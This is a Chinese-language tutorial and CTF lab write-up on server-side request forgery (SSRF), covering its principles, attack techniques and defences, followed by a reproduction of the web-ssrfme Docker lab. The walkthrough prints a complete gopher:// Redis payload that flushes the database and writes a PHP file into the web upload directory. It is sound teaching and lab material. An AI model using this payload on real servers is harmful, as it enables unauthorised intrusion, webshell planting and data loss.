学习web-ssrfme介绍以及实验复现
目录
简介
原理
攻击方式
防护措施
项目部署以及复现
开始渗透
简介
SSRF(Server - Side Request Forgery,服务器端请求伪造)是一种网络安全漏洞,攻击者利用目标服务器的漏洞,构造恶意请求,让服务器代替攻击者去访问其他内部或外部资源,从而实现攻击目的。
原理
SSRF 漏洞通常发生在服务器端应用程序中,这些应用程序会根据用户的输入或其他条件发起对其他服务器或资源的请求。攻击者通过构造精心设计的请求,篡改目标服务器的请求参数,使得服务器发送请求到攻击者指定的目标,而这个目标可能是内部网络中的敏感服务器、外部的恶意服务器或者是一些受限制的资源。
攻击方式
1. 基本攻击类型
内部服务扫描:探测内部网络拓扑和服务,元数据服务访问:访问云服务元数据接口(如AWS的169.254.169.254),内部系统攻击:攻击内网中暴露的Redis、MySQL等服务,文件读取:通过file://协议读取服务器本地文件,端口扫描:扫描内网或外网端口
2. 常见利用技术
协议利用:使用不同协议如http://, https://, file://, gopher://, dict://等,IP地址变形:使用十进制、八进制IP表示法或域名重定向,URL编码:对特殊字符进行编码绕过过滤,DNS重绑定:利用DNS TTL短暂特性绕过IP检查
3. 典型攻击场景
通过图片处理功能(如URL转缩略图),PDF生成器读取远程URL,Webhook配置,从URL导入数据功能,服务器端XML处理(XXE引发的SSRF)
防护措施
1. 输入验证
建立允许列表:只允许访问特定的域名或IP,验证用户提供的URL格式,禁止私有IP地址和保留IP段(如10.0.0.0/8, 192.168.0.0/16),禁用危险协议(file://, gopher://, dict://等)
2. 网络层防护
使用网络隔离,限制服务器出站连接,配置防火墙规则限制服务器只能访问必要的外部服务,云环境中使用安全组/VPC策略限制访问
3. 应用层防护
使用应用层代理代替直接请求,实现响应检查,不返回完整响应给客户端,设置请求超时和大小限制,禁用URL重定向跟随
4. 其他措施
定期更新和打补丁,修复已知漏洞,最小权限原则,降低服务器权限,监控异常请求模式,云环境中保护元数据服务访问
项目部署以及复现
首先下载web-ssrfme.zip,然后放到虚拟机内,unzip解压,然后CD到含有docker-compose.yml文件夹目录下输入指令进行拖拽docker镜像命令为:docker-compose up -d;
查看代码发现file和dict都被过滤了以及127.0.0.1和localhost。同时我们看到有curl_exec()函数,它是PHP中用于执行一个cURL会话并获取服务器响应的函数。它是cURL库的一部分,cURL是一个功能强大的库,用于发送和接收数据,并与远程服务器进行交互。cURL支持多种协议,包括HTTP、HTTPS、FTP、SMTP等,使得它能够与各种类型的服务器进行通信,获取或发送数据。而且没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。
?url=https://www.baidu.com
通过info这个参数可以看到phpinfo()以及查看该页面发现当前的主机的内网ip为172.18.0.3;
漏洞点找寻:我们尝试用http访问以下phpinfo的IP,他将页面打印了两次,这里说明http协议可以使用,我们可以用http协议来探测端口,通过burpsuite抓包扫描端口得到了80端口以及显示6379端口有个报错,这是redis的报错,这个错误提示表明在执行 Redis 的GET命令时,传入的参数数量不正确。说明这台内网主机上还运行着redis服务。
开始渗透
上传webshell到服务器上,但是这个需要我们知道物理路径需要我们猜测,我们尝试一些默认路径/var/www/html、 /usr/shart/nginx/html,发现都不行。现在我们怀疑是不是权限不够的原因,权限不够那咋个办,我们再找一下在html下有没有别的文件权限是够的。我们找个字典用bp扫描一下,发现有个upload,尝试在/var/www/html/upload使用gopher协议进行webshell写入。我们使用gopherus这个工具构造我们的payload:
gopher://172.17.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
在注入的时候还需要进行一次URL编码:
然后继续测试:
进入docker中查看:
获取flag成功。